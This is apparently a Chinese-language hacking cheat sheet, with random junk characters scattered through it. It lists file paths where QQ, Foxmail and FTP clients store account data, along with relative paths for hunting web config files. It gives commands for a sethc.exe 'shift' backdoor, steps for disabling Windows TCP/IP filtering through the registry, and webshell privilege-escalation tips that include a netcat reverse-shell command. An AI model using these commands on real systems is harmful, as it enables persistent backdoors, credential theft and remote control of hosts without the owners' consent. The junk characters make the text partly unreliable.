c:\Program Files\QQ2007\qq.exe
0 Y" A+ A1 r/ O  w) Z$ zc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
- }; y7 z; }. G1 ?9 C* ^c:\Program Files\Tencent\qq\bin\qq.exe
6 [, C% v+ G, g. X+ z- L! n3 y3 R8 oc:\Program Files\Tencent\qq2009\qq.exe
% c' A' f+ \8 @; i- K3 x/ X) ^c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
, ^0 m# `7 T* W* rc:\Program Files\Tencent\RTXServer\AppConfig.xml
$ V( Z- {: C  h0 A- vC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
: I# w2 m; t0 C1 c! }C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
, Q: D/ s7 T5 H6 aC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
& f( g* J( w2 Z& v- I" [+ V3 ]c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
2 X) Q: I5 `% B# ~C:\Program Files\FlashFXP\FlashFXP.ini
! S0 ^- _! P# [: iC:\Program Files\FlashFXP\flashfxp.exe
1 s. G3 w& J1 C2 i! B8 X7 }5 \# yc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
/ X% p$ C7 O. E! O5 Rc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
7 E9 b8 M; z+ H- ~! X0 gc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
2 e# h1 r- `; ]1 W9 M
4 L& w% x, ]  q5 F5 w2 w6 J' b3.网站相对路径:

/config.php
* f3 Z8 a6 g8 y$ a. I: E../../config.php
+ `- z, {2 T3 t$ C8 |../config.php
. q6 o' Y4 G1 a. o../../../config.php
/config.inc.php
./config.inc.php
/ v, N6 s1 Q; Y( B4 \4 Y7 r../../config.inc.php
; J: \& F3 g% c../config.inc.php
../../../config.inc.php
/conn.php
  S( a% R2 O1 r, u0 k) N/ l  G0 w./conn.php
' I3 T* C  }/ e: [../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
( i& r8 U. H8 m: C% |' n../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
) G2 t7 C$ f) T$ F5 J0 C../../config.inc.php
; b* \% G) g8 r, E../config.inc.php
../../../config.inc.php
3 H5 `* P! k5 H( f, j/config/config.php
../../config/config.php
4 O  m( t$ ~/ y../config/config.php
../../../config/config.php
7 W2 ^- \4 V2 M5 x! S1 D, q/config/config.inc.php
./config/config.inc.php
) P3 [! n; S% |- b) G6 y& u& {../../config/config.inc.php
6 x; r$ ]5 P" Q! w1 t) T../config/config.inc.php
../../../config/config.inc.php
* s# L9 D& Y8 x: ]8 S/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
% z7 B% @+ l; p../../../config/conn.php
* e4 ~9 X! t% z1 c/config/conn.asp
: Z' k) L+ z$ B1 H* I./config/conn.asp
../../config/conn.asp
4 P" N- B# i& w3 o' D7 x../config/conn.asp
+ [6 X: c0 d2 B* E. G" i../../../config/conn.asp
& _1 I( s) P& T* r/config/config.inc.php
$ k* [' E# U: x  @* Q' a2 }, p./config/config.inc.php
, c2 I7 v# ~+ n6 J* t../../config/config.inc.php
../config/config.inc.php
9 C: t, v" \! N0 e# a../../../config/config.inc.php
, P3 {2 ]1 u8 ]/ m/data/config.php
../../data/config.php
) P8 I" G* v0 X' U4 o* |$ U../data/config.php
$ y! i* b) G3 Q$ J0 u4 f6 G% }: [3 a) k../../../data/config.php
) @! h% t4 A4 D' [' s" k+ G/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
, n/ c2 O9 H& L( i; Q0 F' M../data/config.inc.php
5 j+ b+ x' j" t/ z0 r3 ]. Z../../../data/config.inc.php
/ s! b5 o" n) J% S9 T/data/conn.php
./data/conn.php
' d5 G. E4 |# j% c- |# J../../data/conn.php
. |4 ]7 Q- H; J2 H: M% N) {../data/conn.php
* X  X9 a+ J/ ?../../../data/conn.php
) J  h) S$ P: x" n! n2 |6 a/data/conn.asp
./data/conn.asp
% ~% w0 I, X) H5 W5 F$ `* V1 s../../data/conn.asp
& }' H8 s+ A2 |' p0 L) K0 z' m../data/conn.asp
% A9 k/ U2 d: x; V  ^' h! R. \; H../../../data/conn.asp
/data/config.inc.php
! t) Y" Y" g5 r& m) e. q* I./data/config.inc.php
../../data/config.inc.php
8 {$ h' p" L  a& v) p4 K/ E../data/config.inc.php
../../../data/config.inc.php
) M, v) H6 L" R& `6 R2 ^$ L9 p/include/config.php
1 _3 d6 X# P' u- ?$ T1 J../../include/config.php
/ v, w/ E4 Y, m8 u2 C../include/config.php
& b2 V1 y$ q6 |. {3 B+ S../../../include/config.php
$ N0 G( i/ J8 f* r$ y3 G/include/config.inc.php
" J8 Z0 K6 v3 d! J./include/config.inc.php
../../include/config.inc.php
9 V% w+ v  A1 A# U7 }( B../include/config.inc.php
+ F2 _0 M  D7 {! Y, N../../../include/config.inc.php
$ f+ F( f2 B9 N/include/conn.php
. F8 P5 J3 w+ m# @  v./include/conn.php
../../include/conn.php
../include/conn.php
& d2 R2 m5 ~% K/ H, @../../../include/conn.php
; E0 L' ~5 k9 O9 @4 ]/include/conn.asp
./include/conn.asp
/ I) l" D- V  s../../include/conn.asp
: t. [# c! C! }) }../include/conn.asp
../../../include/conn.asp
; E# R0 n& P9 F3 K' S* Z; P0 A# d/include/config.inc.php
./include/config.inc.php
1 _( i: Y0 Z7 R2 Z- f: C3 L../../include/config.inc.php
, l' D" l' Q% c2 d../include/config.inc.php
../../../include/config.inc.php
# m( m# a* J! d# N6 G& R. }2 ~( B/inc/config.php
" _/ Z" {/ e; |* y* N& H../../inc/config.php
) Y4 j3 E; n1 J0 r6 m% }../inc/config.php
../../../inc/config.php
3 S+ u$ O9 d. M+ \, z. A/inc/config.inc.php
./inc/config.inc.php
: d! Q9 K5 E5 H../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
3 J8 _: Y; O9 ^  Q2 Y) Y" c# I' X./inc/conn.php
9 J& Y9 |7 a  |: V. k../../inc/conn.php
. O, ?6 M' M7 B2 C1 v+ Z& W../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
1 O: t9 d3 k% H; o* U../../inc/conn.asp
/ v: u8 O4 ~) D- o  Y../inc/conn.asp
* Y* M1 D; k2 d) E/ t../../../inc/conn.asp
/inc/config.inc.php
+ F' j/ B# `5 S% C" S6 `./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
' j! O  A( `$ t/index.php
./index.php
../../index.php
2 v' z  v; j1 U& S7 u( q../index.php
# c0 |0 N- }& b' R) A; y! z' K4 b../../../index.php
/index.asp
6 z. ?# w  L% ~6 P. h5 L./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
9 ]1 O+ {# ~8 `/ d- r2 `/ v　attrib c:\windows\system32\sethc.exe -h -r -s
7 H* I! F6 o  E( `, k9 I8 g/ j8 w3 Q* g
! h  \! X( T* T# t5 w7 Z. G4 j　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
$ T7 U7 u/ N( h
) \- d; J8 [2 U! {6 I　　attrib c:\windows\system32\sethc.exe +h +r +s

8 Q. o$ X- g# {6 Q# h' S& C5 _　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
4 ^7 q# m; O- K: ]( U8 I5 ?2 v去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: ~, i2 L7 J# I5 M7 s
, d7 t; ~- z7 x: }8 S分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 p! `6 ~7 _: T  k. U% C7 {  e+ q命令来导出注册表项
: ^/ E+ }4 d& @1 Y
6 t# ]( U: Q" ]3 x# k然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
6 L7 \7 i, T; V" M, ^- X( vregedit -s D:\a.reg
" }+ T3 T' M3 J- Zregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
8 B1 u9 \# O0 X" a4 n& M7 O: ?, p2 k
0 \9 D, H1 [+ ^' Mwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
' n' p: F' I- u7 o$ l8 f1 I: s4 [例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
/ a9 {0 W$ G# B  M通常都不会成功。
2 B! C; T1 Y3 s( u% q
# t$ @- A# s3 _, d2 c而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
9 v+ J, m, e9 o$ r: y' q却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功